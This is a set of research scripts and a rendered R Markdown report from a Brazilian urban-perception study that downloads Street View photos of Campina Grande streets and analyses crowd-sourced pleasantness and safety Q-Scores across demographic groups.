#Download photos of each street location in different positions: 0, 90, 180 and 270 degrees
while read line ; do
streetName=`echo "${line}" | cut -d',' -f 1`
streetNumber=`echo "${line}" | cut -d',' -f 2`
if [[ $streetNumber == *-* ]] ; then
streetNumber=`echo "${streetNumber}" | cut -d'-' -f 1`
fi
street="${streetName// /_}_${streetNumber// /_}"
echo ">>>> LINE ${line}"
echo ">>>> Baixando rua ${streetName} ${street}"
wget "http://maps.googleapis.com/maps/api/streetview?size=640x480&location=${line}&heading=0&fov=90&pitch=0&sensor=false&key=<KEY>"
mv streetview* ${neighborhood}/${street}_0.jpg
wget "http://maps.googleapis.com/maps/api/streetview?size=640x480&location=${line}&heading=90&fov=90&pitch=0&sensor=false&key=<KEY>"
mv streetview* ${neighborhood}/${street}_90.jpg
wget "http://maps.googleapis.com/maps/api/streetview?size=640x480&location=${line}&heading=180&fov=90&pitch=0&sensor=false&key=<KEY>"
mv streetview* ${neighborhood}/${street}_180.jpg
wget "http://maps.googleapis.com/maps/api/streetview?size=640x480&location=${line}&heading=270&fov=90&pitch=0&sensor=false&key=<KEY>"
mv streetview* ${neighborhood}/${street}_270.jpg
done < $file
done
<file_sep># coding=utf-8
# Prepares a HTML page containing the photos and their QScore per question, filtered according to an intersection file containing the set of photos to be considered or not, and prints the set of photos that will appear in the HTML page
import sys
from sets import Set
#possible questions
possibleQuestions = ["agrad%C3%A1vel?", "seguro?"]
def completePhoto(photo):
if 'liberdade' in photo or 'catole' in photo:
print photo+" oeste"
return "oeste/"+photo
if "centro" in photo:
print photo+" norte"
return "norte/"+photo
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo com fotos, grupos, questoes e diferencas> <arquivo com qscores por grupos>"
sys.exit(1)
dataFile = open(sys.argv[1], 'r')
geralFile = open(sys.argv[2], 'r')
outputFile = open("questionDiferencas.html", 'w')
outputFile2 = open("questionDiferencasPorVisao.html", 'w')
linesDiferencas = dataFile.readlines()
linesGeral = geralFile.readlines()
results = {'Hom\tMul\n' : [], 'Cas\tSol\n' : [], 'Med\tBaixa\n' : [], 'Jov\tAdu\n' : [], 'Medio\tPos\n' : []}
groups = {'Masculino' : {}, 'Feminino' : {}, 'Media' : {}, 'Baixa' : {}, 'Jovem' : {}, 'Adulto' : {}, 'Medio' : {}, 'Pos' : {}}
#Reading images with bigger differences, per group, for different visions
for line in linesGeral[1:]:
data = line.split(" ")
photo = data[0]
question = data[1]
qscore = float(data[2])
group = data[103]
if group in groups.keys():
if not groups[group].has_key(photo):
groups[group][photo] = {}
groups[group][photo][question] = qscore
counter = 0
outputFile2.write("<body style=\"overflow:scroll\">\n");
for group in groups.keys():
photos = groups[group].keys()
photos.sort()
outputFile2.write("<h2>"+group+"</h2>")
outputFile2.write("<table>\n")
outputFile2.write("<tr>\n")
for i in range(0, len(photos)-1):
current = ''.join(photos[i].replace("__", "+").replace("_", "+").split("+")[:-1])
next = ''.join(photos[i+1].replace("__", "+").replace("_", "+").split("+")[:-1])
if current == next:
for question in groups[group][photos[i]]:
if groups[group][photos[i+1]].has_key(question):
questionCurrent = groups[group][photos[i]][question]
questionNext = groups[group][photos[i+1]][question]
if abs(questionCurrent - questionNext) > 1.0:
photoUrl = completePhoto(photos[i])
photoUrl2 = completePhoto(photos[i+1])
outputFile2.write("<td><img src=\"https://contribua.org/bairros/"+photoUrl+"\" width=\"400\" height=\"300\"></td>\n")
outputFile2.write("<td><img src=\"https://contribua.org/bairros/"+photoUrl2+"\" width=\"400\" height=\"300\"></td>\n")
outputFile2.write("<td>"+photos[i]+" "+photos[i+1]+" "+question+" "+str(questionCurrent)+" "+str(questionNext)+"</td>\n")
counter += 1
if counter % 2 == 0:
outputFile2.write("</tr>\n")
outputFile2.write("<tr>\n")
outputFile2.write("</tr>\n")
outputFile2.write("</table>")
outputFile2.write("</body>\n")
#Reading images with bigger differences between groups
counter = 0
group = ""
for i in range(0, 55):
line = linesDiferencas[i]
if counter == 11:
counter = 0
if counter == 0:
group = line
counter = counter + 1
else:
data = line.split(" ")
photo = data[0].strip(' \t\n\r"')
diferenca = data[6].strip(' \t\n\r')
questao = data[9].strip(' \t\n\r"')
results[group].append(photo+" "+diferenca+" "+questao)
counter = counter + 1
#Writing html
outputFile.write("<body style=\"overflow:scroll\">\n");
counter = 0
for group, items in results.iteritems():
#print str(group) + " " + str(items)
outputFile.write("<h2>"+group+"</h2>")
outputFile.write("<table>\n")
outputFile.write("<tr>\n")
for data in items:
currentData = data.split(" ")
outputFile.write("<td><img src=\"https://contribua.org/bairros/"+currentData[0]+"\" width=\"400\" height=\"300\"></td>\n")
outputFile.write("<td>"+currentData[0] + " " + currentData[1]+" "+currentData[2]+"</td>\n")
counter += 1
if counter % 3 == 0:
outputFile.write("</tr>\n")
outputFile.write("<tr>\n")
outputFile.write("</tr>\n")
outputFile.write("</table>")
outputFile.write("</body>\n")
dataFile.close()
outputFile.close()
outputFile2.close()
<file_sep>import pandas as pd
import numpy as np
def abs_mean(data1, data2):
argsrt_1 = data1.argsort()
argsrt_2 = data2.argsort()
return np.abs(argsrt_1 - argsrt_2).mean()
def abs_median(data1, data2):
argsrt_1 = data1.argsort()
argsrt_2 = data2.argsort()
return np.median(np.abs(argsrt_1 - argsrt_2))
def top10_abs_mean_naza(data1, data2):
argsrt_1 = data1.argsort()
argsrt_2 = data2.argsort()
abs_diff = np.abs(argsrt_1 - argsrt_2)
top_10_1 = abs_diff[argsrt_1[-10:]]
top_10_2 = abs_diff[argsrt_2[-10:]]
result = (top_10_1.mean() + top_10_2.mean()) / 2
return result
def top10_abs_mean_old(data1, data2):
argsrt_1 = data1.argsort()
argsrt_2 = data2.argsort()
abs_diff = np.abs(argsrt_1 - argsrt_2)
top = abs_diff.argsort()[-10:]
return abs_diff[top].mean()
def ptest(df, name_g1, name_g2, pergunta, bairro=None, num_permut=100000):
df = df[df.values[:, 1] == pergunta]
if bairro is not None:
df = df[df['bairro'] == bairro]
g1 = df[df['grupo'] == name_g1].values[:, 2]
g2 = df[df['grupo'] == name_g2].values[:, 2]
all_ = np.hstack((g1, g2))
n_g1 = len(g1)
n_g2 = len(g2)
n_all = len(all_)
functions = [
('Mean', abs_mean),
('Median', abs_median),
('Top10-Mean-Old', top10_abs_mean_old),
('Top10-Mean-Naza', top10_abs_mean_naza)]
actual = np.zeros(len(functions))
for i in xrange(len(functions)):
actual[i] = functions[i][1](g1, g2)
P = np.tile(np.arange(n_all), num_permut).reshape(num_permut, n_all)
P = np.apply_along_axis(np.random.permutation, 1, P)
R = np.zeros(shape=(P.shape[0], len(functions)))
permut_array = np.zeros(P.shape[0], dtype='f')
for i in xrange(P.shape[0]):
permut = P[i]
new_data = all_[permut]
new_g1 = new_data[:n_g1]
new_g2 = new_data[n_g1:]
for j in xrange(len(functions)):
R[i][j] = functions[j][1](new_g1, new_g2)
pvals = []
for i in xrange(len(functions)):
pvals.append(float((R[:, i] > actual[i]).sum()) / R.shape[0])
return (name_g1, name_g2, pergunta), actual, np.array(pvals), functions
bairro = 'catole'
df = pd.read_csv('geral2.dat', sep=' ', encoding='utf8')
df = df.drop(['red', 'green', 'blue', 'hor', 'vert', 'diag'], axis=1)
all_res = []
all_res.append(ptest(df, 'Masculino', 'Feminino', 'agradavel?', bairro=bairro))
all_res.append(ptest(df, 'Masculino', 'Feminino', 'seguro?', bairro=bairro))
all_res.append(ptest(df, 'Jovem', 'Adulto', 'agradavel?', bairro=bairro))
all_res.append(ptest(df, 'Jovem', 'Adulto', 'seguro?', bairro=bairro))
all_res.append(ptest(df, 'Solteiro', 'Casado', 'agradavel?', bairro=bairro))
all_res.append(ptest(df, 'Solteiro', 'Casado', 'seguro?', bairro=bairro))
all_res.append(ptest(df, 'Baixa', 'Media', 'agradavel?', bairro=bairro))
all_res.append(ptest(df, 'Baixa', 'Media', 'seguro?', bairro=bairro))
all_res.append(ptest(df, 'Medio', 'Pos', 'agradavel?', bairro=bairro))
all_res.append(ptest(df, 'Medio', 'Pos', 'seguro?', bairro=bairro))
for r in all_res:
print r[0]
for i, f in enumerate(r[-1]):
print f[0], r[1][i]
print 'pval', r[2][i]
print
print '--'
<file_sep>#!/bin/bash
#Receives files containing users ids per group, generates new samples of user ids per groups and calculates QScores for each sample!
for i in `seq 2001 4000`; do
Rscript sampleUserIds.R $i
#python selectRunPerUsers.py run.csv media_${i}.dat > runMedia_${i}.csv
#python selectRunPerUsers.py run.csv baixa_${i}.dat > runBaixa_${i}.csv
#python selectRunPerUsers.py run.csv adulto_${i}.dat > runAdulto_${i}.csv
#python selectRunPerUsers.py run.csv jovem_${i}.dat > runJovem_${i}.csv
#python selectRunPerUsers.py run.csv solteiro_${i}.dat > runSolteiro_${i}.csv
#python selectRunPerUsers.py run.csv casado_${i}.dat > runCasado_${i}.csv
#python selectRunPerUsers.py run.csv feminino_${i}.dat > runFeminino_${i}.csv
#python selectRunPerUsers.py run.csv masculino_${i}.dat > runMasculino_${i}.csv
python selectRunPerUsers.py run.csv centro_${i}.dat > runCentro_${i}.csv
python selectRunPerUsers.py run.csv notcentro_${i}.dat > runNotCentro_${i}.csv
python selectRunPerUsers.py run.csv catole_${i}.dat > runCatole_${i}.csv
python selectRunPerUsers.py run.csv notcatole_${i}.dat > runNotCatole_${i}.csv
python selectRunPerUsers.py run.csv liberdade_${i}.dat > runLiberdade_${i}.csv
python selectRunPerUsers.py run.csv notliberdade_${i}.dat > runNotLiberdade_${i}.csv
#python analisaQScore.py runAdulto_${i}.csv 100 tasksDef.csv
#mv all.dat allAdulto_${i}.dat
#python analisaQScore.py runJovem_${i}.csv 100 tasksDef.csv
#mv all.dat allJovem_${i}.dat
#python analisaQScore.py runSolteiro_${i}.csv 100 tasksDef.csv
#mv all.dat allSolteiro_${i}.dat
#python analisaQScore.py runCasado_${i}.csv 100 tasksDef.csv
#mv all.dat allCasado_${i}.dat
#python analisaQScore.py runMedia_${i}.csv 100 tasksDef.csv
#mv all.dat allMedia_${i}.dat
#python analisaQScore.py runBaixa_${i}.csv 100 tasksDef.csv
#mv all.dat allBaixa_${i}.dat
#python analisaQScore.py runFeminino_${i}.csv 100 tasksDef.csv
#mv all.dat allFeminino_${i}.dat
#python analisaQScore.py runMasculino_${i}.csv 100 tasksDef.csv
#mv all.dat allMasculino_${i}.dat
python analisaQScore.py runCentro_${i}.csv 100 tasksDef.csv
mv all.dat allCentro_${i}.dat
python analisaQScore.py runNotCentro_${i}.csv 100 tasksDef.csv
mv all.dat allNotCentro_${i}.dat
python analisaQScore.py runCatole_${i}.csv 100 tasksDef.csv
mv all.dat allCatole_${i}.dat
python analisaQScore.py runNotCatole_${i}.csv 100 tasksDef.csv
mv all.dat allNotCatole_${i}.dat
python analisaQScore.py runLiberdade_${i}.csv 100 tasksDef.csv
mv all.dat allLiberdade_${i}.dat
python analisaQScore.py runNotLiberdade_${i}.csv 100 tasksDef.csv
mv all.dat allNotLiberdade_${i}.dat
#sort -k 3 -r allMedia_${i}.dat > allMediaOrd_${i}.dat
#sort -k 3 -r allBaixa_${i}.dat > allBaixaOrd_${i}.dat
#sort -k 3 -r allSolteiro_${i}.dat > allSolteiroOrd_${i}.dat
#sort -k 3 -r allCasado_${i}.dat > allCasadoOrd_${i}.dat
#sort -k 3 -r allFeminino_${i}.dat > allFemininoOrd_${i}.dat
#sort -k 3 -r allMasculino_${i}.dat > allMasculinoOrd_${i}.dat
#sort -k 3 -r allJovem_${i}.dat > allJovemOrd_${i}.dat
#sort -k 3 -r allAdulto_${i}.dat > allAdultoOrd_${i}.dat
sort -k 3 -r allCentro_${i}.dat > allCentroOrd_${i}.dat
sort -k 3 -r allNotCentro_${i}.dat > allNotCentroOrd_${i}.dat
sort -k 3 -r allCatole_${i}.dat > allCatoleOrd_${i}.dat
sort -k 3 -r allNotCatole_${i}.dat > allNotCatoleOrd_${i}.dat
sort -k 3 -r allLiberdade_${i}.dat > allLiberdadeOrd_${i}.dat
sort -k 3 -r allNotLiberdade_${i}.dat > allNotLiberdadeOrd_${i}.dat
#python encontraInterseccao.py allBaixaOrd_${i}.dat allMediaOrd_${i}.dat > intersectionAllBaixaMedia_${i}.dat
#python encontraInterseccao.py allSolteiroOrd_${i}.dat allCasadoOrd_${i}.dat > intersectionAllSolteiroCasado_${i}.dat
#python encontraInterseccao.py allFemininoOrd_${i}.dat allMasculinoOrd_${i}.dat > intersectionAllFemininoMasculino_${i}.dat
#python encontraInterseccao.py allJovemOrd_${i}.dat allAdultoOrd_${i}.dat > intersectionAllJovemAdulto_${i}.dat
python encontraInterseccao.py allCentroOrd_${i}.dat allNotCentroOrd_${i}.dat > intersectionAllCentro_${i}.dat
python encontraInterseccao.py allCatoleOrd_${i}.dat allNotCatoleOrd_${i}.dat > intersectionAllCatole_${i}.dat
python encontraInterseccao.py allLiberdadeOrd_${i}.dat allNotLiberdadeOrd_${i}.dat > intersectionAllLiberdade_${i}.dat
#python preparaHTML.py allMediaOrd_${i}.dat intersectionAllBaixaMedia_${i}.dat > allMediaOrdInter_${i}.dat
#python preparaHTML.py allBaixaOrd_${i}.dat intersectionAllBaixaMedia_${i}.dat > allBaixaOrdInter_${i}.dat
#python preparaHTML.py allFemininoOrd_${i}.dat intersectionAllFemininoMasculino_${i}.dat > allFemininoOrdInter_${i}.dat
#python preparaHTML.py allMasculinoOrd_${i}.dat intersectionAllFemininoMasculino_${i}.dat > allMasculinoOrdInter_${i}.dat
#python preparaHTML.py allCasadoOrd_${i}.dat intersectionAllSolteiroCasado_${i}.dat > allCasadoOrdInter_${i}.dat
#python preparaHTML.py allSolteiroOrd_${i}.dat intersectionAllSolteiroCasado_${i}.dat > allSolteiroOrdInter_${i}.dat
#python preparaHTML.py allJovemOrd_${i}.dat intersectionAllJovemAdulto_${i}.dat > allJovemOrdInter_${i}.dat
#python preparaHTML.py allAdultoOrd_${i}.dat intersectionAllJovemAdulto_${i}.dat > allAdultoOrdInter_${i}.dat
python preparaHTML.py allCentroOrd_${i}.dat intersectionAllCentro_${i}.dat > allCentroOrdInter_${i}.dat
python preparaHTML.py allNotCentroOrd_${i}.dat intersectionAllCentro_${i}.dat > allNotCentroOrdInter_${i}.dat
python preparaHTML.py allCatoleOrd_${i}.dat intersectionAllCatole_${i}.dat > allCatoleOrdInter_${i}.dat
python preparaHTML.py allNotCatoleOrd_${i}.dat intersectionAllCatole_${i}.dat > allNotCatoleOrdInter_${i}.dat
python preparaHTML.py allLiberdadeOrd_${i}.dat intersectionAllLiberdade_${i}.dat > allLiberdadeOrdInter_${i}.dat
python preparaHTML.py allNotLiberdadeOrd_${i}.dat intersectionAllLiberdade_${i}.dat > allNotLiberdadeOrdInter_${i}.dat
Rscript combinaEntradas.R $i
mkdir -p randomInputFiles
mv centro_${i}* notcentro_${i}* catole_${i}* notcatole_${i}* liberdade_${i}* notliberdade_${i}* run*_${i}.csv all*_${i}.dat intersection*_${i}.dat randomInputFiles #masculino_* feminino_* jovem_* adulto_* media_* baixa_* casado_* solteiro_* run*_*.csv all*_${i}.dat intersection*.dat randomInputFiles
done
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<h1 class="title toc-ignore">analisaPorRua</h1>
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<p>Os estudos de percepção realizados até o momento têm focado em capturar diversas imagens espalhadas pela cidade, obter os QScores/preferências das pessoas e treinar modelos de mais baixo nível ou alto nível (vide nosso artigo do HT ou o artigo com índice de ceu, verde, etc.) para predizer preferências para novas fotos que ainda não foram avaliadas por pessoas (<strong>visão macro</strong>). Com isso surgem alguns pontos a serem considerados:</p>
<ol style="list-style-type: decimal">
<li>A coleta nos artigos gera uma pergunta: Ao escolhermos pontos tão esparsos estamos considerando a média dos ambientes, isso é representativo?</li>
</ol>
<ul>
<li>No Place Pulse são coletadas mais de uma imagem por local (2 ou mais direções) para lidar com variação e foram 1.706 imagens para NY, 1.236 para Boston, 544 para Salzburg e 650 para Linz</li>
<li>Na análise dos Q-Scores por dados de homícidio usa-se a média no zip-code;</li>
<li>Na segunda versão do Place Pulse tem-se 2984 pontos coletados em São Paulo e se considerarmos o total de 48.623 ruas da cidade, mesmo se fosse um ponto por rua <strong>foram cobertos 6,1% das ruas (pouca cobertura!)</strong>.</li>
</ul>
<pre class="r"><code> teste <- read.csv("~/workspace_doutorado/Place Pulse/pp2_20161010/votes.csv", header=TRUE)#/local/david/workspace_doutorado/Place Pulse/pp2_20161010/votes.csv
lat_min <- -23.401371#Sao Paulo
lat_max <- -24.006227
lon_min <- -46.334217
lon_max <- -46.821569
left_ids <- filter(teste, (teste$left_lat >= lat_max & teste$left_lat <= lat_min) & (teste$left_long >= lon_max & teste$left_long <= lon_min))$left_id
right_ids <- filter(teste, (teste$right_lat >= lat_max & teste$right_lat <= lat_min) & (teste$right_long >= lon_max & teste$right_long <= lon_min))$right_id
length(unique(append(left_ids, right_ids)))</code></pre>
<pre><code>## [1] 2984</code></pre>
<pre class="r"><code> #https://super.abril.com.br/cultura/quantas-ruas-existem-em-sao-paulo/</code></pre>
<ul>
<li>No Urban Gems, cena aleatória dentro de 300m do metrô e dentro dos bounding-box de áreas de censo. 258 Street View e 310 do Geograph, múltiplas visões do local</li>
<li>No Como é Campina? escolhemos pontos distantes 50m, dentro dos setores censitários.</li>
<li>Pela análise do Como é Campina?, focando em divergências, nós encontramos <strong>11 pontos (22 imagens), para o agradável, com diferenças no Q-Score maiores que 1 ponto. Diferenças maiores que 1 ponto, para o agradável, conduziram a diferenças de 25 a 107 posições no ranking e de 26 a 107 posições, para segurança</strong>.</li>
<li>Podemos considerar a variação nas médias e ICs quando temos mais imagens e quando só temos 2 ou 3 imagens por rua</li>
</ul>
<ol start="2" style="list-style-type: decimal">
<li>Os <strong>modelos treinados com estes conjuntos de dados tendem a capturar as tendências médias</strong>, o típico presente nos dados. E se pensarmos em analisar outro contexto social, ruas de outros locais ou, ainda, traçar um panorama detalhado de alguma rua?</li>
</ol>
<ul>
<li>Em relação ao contexto social podemos pensar em lidar capturando preferências dos diferentes segmentos sociais, diferentes culturas</li>
<li><p>Em relação às ruas de outras cidades podemos pensar em capturar imagens de outras cidades, cujo contexto seja mais parecido com o contexto da cidade que queremos avaliar</p></li>
<li><strong>Exemplos</strong>:</li>
<li>Alguns casos interessantes.</li>
<li><p>Amostra anterior: A imagem abaixo teve nota 4.30 (posição 28) mesmo contendo casas bem mantidas e árvores, por conta do terreno!</p></li>
</ul>
<div class="row">
<div class="col-xs-4">
<img src='https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__0.jpg' width='400px'>
<div class="caption">
Q-Score = 4.30 (posicao 28)
</div>
</div>
</div>
<ul>
<li>Amostra Atual: A imagem primeira imagem tem um bom nível de manutenção, árvores e calçadas razoáveis, todavia pelos restos de construção teve uma nota menor e comparável a um terreno baldio da segunda imagem. As imagens 1, 2, 4 e 5, apesar de bem distintos quanto a árvores, manutenção tiveram notas parecidas!</li>
</ul>
<div class="row">
<div class="col-xs-4">
<img src='https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_306_135.jpg' width='400px'>
<div class="caption">
Q-Score = 4.74 (posicao ??)
</div>
</div>
<div class="col-xs-4">
<img src='https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_360_203.jpg' width='400px'>
<div class="caption">
Q-Score = 4.68 (posicao ??)
</div>
</div>
<div class="col-xs-4">
<img src='https://contribua.org/bairros/oeste/liberdade/R._Ed%C3%A9sio_Silva_602_22.jpg' width='400px'>
<div class="caption">
Q-Score = 5.12 (posicao ??)
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_130_270.jpg' width='400px'>
<div class="caption">
Q-Score = 4.75 (posicao ??)
</div>
</div>
<div class="col-xs-4">
<img src='https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_360_90.jpg' width='400px'>
<div class="caption">
Q-Score = 4.69 (posicao ??)
</div>
</div>
<div class="col-xs-4">
<img src='https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_913_293.jpg' width='400px'>
<div class="caption">
Q-Score = 4.24 (posicao ??)
</div>
</div>
<div class="col-xs-4">
<img src='https://contribua.org/bairros/oeste/catole/R._Cristina_Proc%C3%B3pio_Silva_66_45.jpg' width='400px'>
<div class="caption">
Q-Score = 5.49 (posicao ??)
</div>
</div>
</div>
<ol start="3" style="list-style-type: decimal">
<li><p>O grande ponto positivo destas análises é aprender melhor sobre características médias presentes nos locais que favorecem ou não as preferências e aprender um pouco sobre o as preferências típicas dos votantes em relação a essas características. <strong>Por não termos visão completa, cheiro, etc. tipicamente justifica-se como limitação para gerar a percepção do local!</strong></p></li>
<li>Existe uma discussão no urbanismo sobre <strong>top-down e bottom-up design</strong> (<a href="https://books.google.com.br/books?id=M-H0AgAAQBAJ&pg=PA255&lpg=PA255&dq=what+is+opposed+to+bird%27s+eye+view+urbanism&source=bl&ots=8owGSyzJpv&sig=8bFt7WNHhCuNqKmvwMclv9XQlt8&hl=pt-BR&sa=X&ved=0ahUKEwjS8Ifqq7rZAhWCkZAKHU9QCyoQ6AEITDAJ#v=onepage&q=what%20is%20opposed%20to%20bird's%20eye%20view%20urbanism&f=false">https://books.google.com.br/books?id=M-H0AgAAQBAJ&pg=PA255&lpg=PA255&dq=what+is+opposed+to+bird%27s+eye+view+urbanism&source=bl&ots=8owGSyzJpv&sig=8bFt7WNHhCuNqKmvwMclv9XQlt8&hl=pt-BR&sa=X&ved=0ahUKEwjS8Ifqq7rZAhWCkZAKHU9QCyoQ6AEITDAJ#v=onepage&q=what%20is%20opposed%20to%20bird's%20eye%20view%20urbanism&f=false</a>):</li>
</ol>
<ul>
<li>top-down, bird’s eye view, plan mostra a organização, não a experiência, a qualidade, o charme, nossa ligação emocional com a cidade do dia a dia</li>
<li>Incorporar os locais e seu conhecimento no planejamento precisa de uma abordagem bottom-up</li>
<li>Uma cidade projetada com foco no landscape não pode ser apreciada por uma visão bird’s eye. Estilos de arquitetura, escala humana não podem ser experimentados por esta visão.</li>
</ul>
<ol start="5" style="list-style-type: decimal">
<li>E o panorama detalhado da rua (<strong>visão micro</strong>)? Precisamos ter ideias mais precisas de como são as várias ruas daquela cidade, suas particularidades, para que os modelos treinados com esses dados possam reproduzir mais fielmente as preferências das pessoas sobre aqueles locais? Com essa ideia estamos buscando <strong>descrever, encontrar problemas/virtudes, avaliar as particularidades</strong>, ou o que podemos ganhar/perder, pensando em captura de percepções em um nível mais micro em relação à captura de percepção em um nível mais macro.</li>
</ol>
<ul>
<li>Se para nos aproximarmos de modelos/descrições mais detalhadas de ruas precisamos de muitos dados/fotos da cidade, começamos a nos deparar com alguns problemas:</li>
<li>As grandes bases que existem (PlacePulse, UrbanGems, StreetSeen?) pouco tem do contexto sub-desenvolvido, particularmente do contexto brasileiro;</li>
<li>Mesmo no contexto brasileiro, temos aspectos sociais, culturais e cidades bem distintas entre as várias partes do país</li>
</ul>
<p>Estamos pensando em o que fazer com esses dados, como computar e apresentar pontos úteis no mundo micro! Para tentar avaliar melhor esses aspectos, foram escolhidas 6 ruas de Campina Grande, 20 fotos por rua (5 pontos da rua x 4 ângulos), para avaliação quanto à questão agradável. 3 dessas ruas apresentaram os pontos de maior divergência de percepção em nossa análise anterior (<NAME>, <NAME> e <NAME>), uma rua apresentou o ponto de maior homogeneidade (Manoel Pereira), porém com notas baixas, e as outras ruas são pontos importantes do centro da cidade (Maciel Pinheiro e Floriano Peixoto), que tem uma tendência de homogeneidade, com notas boas.</p>
<p>As fotos de cada ruas foram comparadas com as de outras ruas, ao invés de apenas naquela rua, de modo que possamos comparar as ruas entre si e, também, tenhamos uma maior variação de tipos de locais comparados entre si.</p>
<p>Alguns questionamentos foram inicialmente levantados:</p>
<ol style="list-style-type: decimal">
<li>Na média as ruas são parecidas ou não? Tem alguma rua que parece muito boa ou muito ruim?</li>
<li>Será que ruas que são parecidas na média, são de fato similares?</li>
<li>Podemos descrever cada rua? Problemas/virtudes (pontos notáveis)?</li>
</ol>
<div id="caracterizacao-geral" class="section level1">
<h1>Caracterização Geral</h1>
<div id="tamanho-das-amostras" class="section level2">
<h2>Tamanho das amostras</h2>
<p>Abaixo temos, primeiramente, uma análise, para determinar o tamanho da amostra para 95% de confiança. Em seguida, temos a comparação do ranking geral da amostra atual contendo 330 pessoas (138 pessoas que não são de Campina e 157 que são daqui), com a amostra de 29 usuários (primeira amostra analisada, só de moradores) e com a amostra de 69 pessoas (sendo também todos moradores de Campina).</p>
<pre class="r"><code>#Checking sample size
current_data <- read.table("all100/all_ordenado.dat")
current_data$sd <- apply(current_data[,4:ncol(current_data)], 1, sd)
current_data$n <- ( 1.96 * current_data$sd / 0.2) ** 2 #All QScores
print(">>>> Maior e menor amostra necessária ")</code></pre>
<pre><code>## [1] ">>>> Maior e menor amostra necessária "</code></pre>
<pre class="r"><code>print(max(current_data$n))</code></pre>
<pre><code>## [1] 0.3401999</code></pre>
<pre class="r"><code>print(min(current_data$n))</code></pre>
<pre><code>## [1] 0.00431684</code></pre>
<pre class="r"><code>#Checking rankings similarity
mergeSort <- function(x){
if(length(x) == 1){
inv <- 0
} else {
n <- length(x)
n1 <- ceiling(n/2)
n2 <- n-n1
y1 <- mergeSort(x[1:n1])
y2 <- mergeSort(x[n1+1:n2])
inv <- y1$inversions + y2$inversions
x1 <- y1$sortedVector
x2 <- y2$sortedVector
i1 <- 1
i2 <- 1
while(i1+i2 <= n1+n2+1){
if(i2 > n2 || (i1 <= n1 && x1[i1] <= x2[i2])){
x[i1+i2-1] <- x1[i1]
i1 <- i1 + 1
} else {
inv <- inv + n1 + 1 - i1
x[i1+i2-1] <- x2[i2]
i2 <- i2 + 1
}
}
}
return (list(inversions=inv,sortedVector=x))
}
numberOfInversions <- function(x){
r <- mergeSort(x)
return (r$inversions)
}
normalizedKendallTauDistance2 <- function(data1, data2){
x <- data1
y <- data2
tau = numberOfInversions(order(x)[rank(y)])
print(tau)
nItens = length(x)
maxNumberOfInverstions <- (nItens*(nItens-1))/2
normalized = tau/maxNumberOfInverstions
print (normalized)
}
data29 <- read.table("29users/all_ordenado.dat")
d29_cur <- merge(select(data29, V2, V3), select(current_data, V2, V3), by = "V2")
print(cor.test(d29_cur$V3.x, d29_cur$V3.y, method = "kendall"))</code></pre>
<pre><code>##
## Kendall's rank correlation tau
##
## data: d29_cur$V3.x and d29_cur$V3.y
## z = 9.9878, p-value < 2.2e-16
## alternative hypothesis: true tau is not equal to 0
## sample estimates:
## tau
## 0.7607595</code></pre>
<pre class="r"><code>print(cor.test(d29_cur$V3.x, d29_cur$V3.y, method = "spearman"))</code></pre>
<pre><code>##
## Spearman's rank correlation rho
##
## data: d29_cur$V3.x and d29_cur$V3.y
## S = 6330, p-value < 2.2e-16
## alternative hypothesis: true rho is not equal to 0
## sample estimates:
## rho
## 0.9258087</code></pre>
<pre class="r"><code>print(paste(">>>> Kendall Distance ", normalizedKendallTauDistance2(d29_cur$V3.x, d29_cur$V3.y)))</code></pre>
<pre><code>## [1] 1642
## [1] 0.5196203
## [1] ">>>> Kendall Distance 0.519620253164557"</code></pre>
<pre class="r"><code>data69 <- read.table("69users/all_ordenado.dat")
d69_cur <- merge(select(data69, V2, V3), select(current_data, V2, V3), by = "V2")
print(cor.test(d69_cur$V3.x, d69_cur$V3.y, method = "kendall"))</code></pre>
<pre><code>##
## Kendall's rank correlation tau
##
## data: d69_cur$V3.x and d69_cur$V3.y
## z = 10.744, p-value < 2.2e-16
## alternative hypothesis: true tau is not equal to 0
## sample estimates:
## tau
## 0.8183544</code></pre>
<pre class="r"><code>print(cor.test(d69_cur$V3.x, d69_cur$V3.y, method = "spearman"))</code></pre>
<pre><code>##
## Spearman's rank correlation rho
##
## data: d69_cur$V3.x and d69_cur$V3.y
## S = 3914, p-value < 2.2e-16
## alternative hypothesis: true rho is not equal to 0
## sample estimates:
## rho
## 0.9541256</code></pre>
<pre class="r"><code>print(paste(">>>> Kendall Distance ", normalizedKendallTauDistance2(d69_cur$V3.x, d69_cur$V3.y)))</code></pre>
<pre><code>## [1] 1393
## [1] 0.4408228
## [1] ">>>> Kendall Distance 0.440822784810127"</code></pre>
</div>
<div id="comparacao-entre-rankings-de-moradores-e-nao-moradores" class="section level2">
<h2>Comparação entre rankings de moradores e não moradores</h2>
<p>O processo de separação de quem é ou não de Campina obedeceu as seguintes regras:</p>
<ol style="list-style-type: decimal">
<li>O usuário informando se é morador ou não ou através do IP;</li>
<li>Para os que não são moradores, foi verificado se ele informou se conhece a cidade e se estuda, mora ou trabalha aqui. Nestes casos, estes usuários foram adicionados ao conjunto de moradores (arquivo users_notcampina_campina.dat);</li>
<li>Por fim, alguns usuários que não responderam ao questionário mas foram identificados pelo pesquisador como ex-moradores da cidade, também foram adicionados ao conjunto de moradores.</li>
</ol>
<p>Feita a seleção de quem é morador e não morador de Campina temos, atualmente, 157 moradores e 138 não moradores. <strong>Quão parecido é o ranking geral de moradores e não moradores?</strong></p>
<pre><code>##
## Kendall's rank correlation tau
##
## data: camp_notcampina$V3.x and camp_notcampina$V3.y
## z = 11.309, p-value < 2.2e-16
## alternative hypothesis: true tau is not equal to 0
## sample estimates:
## tau
## 0.6983193</code></pre>
<pre><code>##
## Spearman's rank correlation rho
##
## data: camp_notcampina$V3.x and camp_notcampina$V3.y
## S = 33112, p-value < 2.2e-16
## alternative hypothesis: true rho is not equal to 0
## sample estimates:
## rho
## 0.8850198</code></pre>
<pre><code>## [1] 3237
## [1] 0.4533613
## [1] ">>>> Kendall Distance 0.453361344537815"</code></pre>
<p>Composição social de todos os usuários</p>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-4-1.png" width="1152" /></p>
<p>Composição social de moradores de Campina</p>
